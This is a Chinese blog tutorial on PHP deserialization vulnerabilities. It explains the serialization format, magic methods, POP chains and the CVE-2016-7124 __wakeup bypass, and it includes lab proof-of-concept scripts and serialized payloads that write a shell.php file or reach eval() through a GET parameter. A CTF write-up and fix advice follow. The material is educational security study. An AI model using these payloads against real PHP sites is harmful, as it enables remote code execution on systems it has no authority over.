php反序列漏洞 实例_php反序列化漏洞总结

原创

二师姐聊保险 于 2021-03-09 17:50:23 发布 115 收藏
文章标签： php反序列漏洞 实例

本文链接：https://blog.csdn.net/weixin_29128689/article/details/115100977

0x00 概述

php允许保存一个对象方便以后重用，这个过程被称为序列化。

serialize可以将对象转换为字符串并且在转换中可以保存当前变量的值。

unserialize则可以将serialize生成的字符串变换回对象。

0x01 序列化类型

boolean：

b:1; // True

b:0; // False

integer

i:1;

double

d:1.23456

NULL

N;

string

s:”abcdef”

array

a:3:{i:0;s:3:”Moe”;i:1;s:5:”Larry”;i:2;s:5:”Curly”;}

序列化中字母对应的类型

a – array 数组

b – boolean布尔型

d – double双精度型

i – integer

o – common object一般对象

r – reference

s – string

C – custom object 自定义对象

O – class

N – null

R – pointer reference

U – unicode string unicode编码的字符串

0x02 魔术方法和pop链

PHP中的一些魔术方法：

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup()
__invoke(), __set_state(), __clone(), __autoload().__debugInfo()

magic函数__construct和__destruct会在对象创建或者销毁时自动调用。

__construct当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__sleep magic方法在一个对象被序列化的时候调用；__wakeup magic方法在一个对象被反序列化的时候调用

如果对象将调用一个不存在的函数__call将被调用；

如果对象试图访问不存在的或私有的类变量__get和__set将被调用

call(), callStatic()

方法重载的两个函数

__call()是在对象上下文中调用不可访问的方法时触发

__callStatic()是在静态上下文中调用不可访问的方法时触发。

get(), set()

__get()用于从不可访问的或私有的属性读取数据。

__set()用于将数据写入不可访问的属性。

isset(), unset()

__isset()在不可访问的属性上调用isset()或empty()触发。

__unset()在不可访问的属性上使用unset()时触发。

sleep(), wakeup()

serialize()检查类是否具有__sleep()函数。如果是这样，该函数在任何序列化之前执行。它可以清理对象，并且应该返回一个数组，其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容，则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外，如果有非常大的对象，不需要完全保存，该功能将非常有用。

unserialize()使用__wakeup()检查函数的存在。如果存在，该功能可以重构对象可能具有的任何资源。
__wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接，并执行其他重新初始化任务。

__toString()

__toString当一个对象被当作一个字符串使用

__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。

__toString触发条件：

1.echo ($obj) / print($obj) 打印时会触发

2.字符串连接时

3.格式化字符串时

4.与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

5.格式化SQL语句，绑定参数时

6.数组中有字符串时

__invoke()

当脚本尝试将对象调用为函数时，调用__invoke()方法。

__set_state()

__clone()

__debugInfo()

POP链起于一些小的“组件”，这些小“组件”可以调用其他的“组件”。在PHP中，“组件”就是这些魔术方法(__wakeup()或__destruct)。

PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP(Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法

一些对我们来说有用的POP链方法：

命令执行：

exec()

passthru()

popen()

system()

文件操作：

file_put_contents()

file_get_contents()

unlink()

0x03 其他

对象的私有成员会加入成员名称的类名称，即受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节

所以说，在我们需要传入该序列化字符串时，需要补齐两个空字节，如下面测试1中的序列化poc:

O:12:”Unserialize0″:1:{s:4:”test”;O:7:”Normal1″:1:{s:14:”%00Normal1%00data1″;s:10:”phpinfo();”;}}

CVE-2016-7124，就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

如把上面测试1的poc中的第一个1改成2或比1大的任意值。

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。

0x04 测试

测试0：利用魔术方法形成RCE

phpChain0.php:

```
/**
* Created by PhpStorm.
* User: LSA
* Date: 11/22/17
* Time: 10:48 AM
*/
class PopChain0
{
private $data = 'this is news.php\n';
public $filename = './news.php';
publicfunction __wakeup()
{
$this->save($this->filename);
}
publicfunction save($filename)
{
file_put_contents($filename, $this->data);
}
}
?>
```

test0.php:

```
/**
* Created by PhpStorm.
```

```
* User: LSA
* Date: 11/22/17
* Time: 10:51 AM
*/
require('./popChain0.php');
unserialize(file_get_contents('./test0.txt'));
?>
```

可以看出大概流程是从test0.txt读取序列化数据进行反序列化，调用魔术方法__wakeup将内容写入文件中，这里data和filename都可控明显造成反序列化漏洞。

构造poc.php:

```
/**
* Created by PhpStorm.
* User: LSA
* Date: 11/22/17
* Time: 10:55 AM
*/
class PopChain0
{
private $data = '<?php phpinfo(); ?>';
public $filename = './shell.php';
publicfunction __wakeup()
{
$this->save($this->filename);
}
publicfunction save($filename)
{
file_put_contents($filename, $this->data);
}
}
$p0 = new PopChain0();
file_put_contents('./test0.txt', serialize($p0));
```

echo serialize($p0);

O:9:”PopChain0″:2:{s:15:”PopChain0data”;s:19:””;s:8:”filename”;s:11:”./shell.php”;}

这里不知道为什么网页输出data数据是空的，但是看看test0.txt文件已经成功写入了

O:9:”PopChain0″:2:{s:15:”PopChain0data”;s:19:”<?php phpinfo(); ?>”;s:8:”filename”;s:11:”./shell.php”;}

测试1：利用成员方法形成RCE

寻找相同的函数名，把敏感函数和类联系在一起。

Unserialize0.php：

```
/**
* Created by PhpStorm.
* User: LSA
* Date: 11/22/17
* Time: 2:17 PM
*/
class Unserialize0 {
var $test;
function __construct() {
$this->test = new Normal0();
}
function __destruct() {
$this->test->action();
}
}
class Normal0 {
private $data = "normal.";
function action() {
echo $this->data;
}
}
```

```
class Normal1 {

private $data1 = "normal1.";

function action() {

eval($this->data1);

}

}

$unserialize0 = new Unserialize0();

unserialize($_GET['p']);

?>
```

可以看出Normal0的action方法无害，但是Normal1的action却有敏感的eval函数，虽然这个函数在Normal1中也是无害，但却可以被攻击者利用。构造poc:

poc1.php:

```
/**

* Created by PhpStorm.

* User: LSA

* Date: 11/22/17

* Time: 2:41 PM

*/

class Unserialize0 {

var $test;

function __construct() {

$this->test = new Normal1();

}

}

class Normal1 {

private $data1 = "phpinfo();";

}

echo serialize(new Unserialize0());

?>
```

这里把原本的new Normal0换成了Normal1，并把data1替换成了phpinfo()，序列化后是

O:12:”Unserialize0″:1:{s:4:”test”;O:7:”Normal1″:1:{s:14:”Normal1data1″;s:10:”phpinfo();”;}}

由于这里data1是private，所以get提交的时候要加上两个%00，提交请求如下：

192.168.43.237/phpSerializeTest/unserialize0.php?p=O:12:”Unserialize0″:1:{s:4:”test”;O:7:”Normal1″:1:{s:14:”%00Normal1%00data1″;s:10:”phpinfo();”;}}

测试2：

实验吧ctf 天网管理系统 writeup:

源码提示

利用php隐式类型转换，可参考www.lsablog.com/network_security/ctf/hackinglab-cn-series-decryption-can-md5-be-bumped/

用户名输入QNKCDZO

得提示/user.php?fame=hjkleffifer

$unserialize_str = $_POST[‘password’]; $data_unserialize = unserialize($unserialize_str); if($data_unserialize[‘

根据提示要用到bool,代码大概意识是把password反序列化得到数组的user和pass值要==‘？？？’,由提示想到bool类型的true跟任意字符串可以弱类型相等，所以构造password为a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}

即可getflag:ctf{dwduwkhduw5465}

0x05 挖掘与修复

反序列化利用的条件：

1.可控制的序列化参数。

2.可利用的pop链(魔术方法)。

PHP只能unserialize()那些定义了的类

当前主流的PHP框架中，都采用了Autoloading自动加载类，避免了每个PHP文件使用大量的include或require方法

Composer是PHP用来管理依赖(dependency)关系的工具。在项目中声明所依赖的外部工具库(libraries)，Composer 会安装这些依赖的库文件。

Autoloading和composer的使用增大了反序列化的攻击面。

修复方案就是严格控制unserialize()的参数，简单的说就是过滤。

0x06 结语

个人认为php反序列化漏洞的根本原因还是不可信任的用户输入，所以要严格控制用户输入，下一篇将分析一个月前爆出的Typecho反序列化漏洞来巩固一下。

0x07参考资料：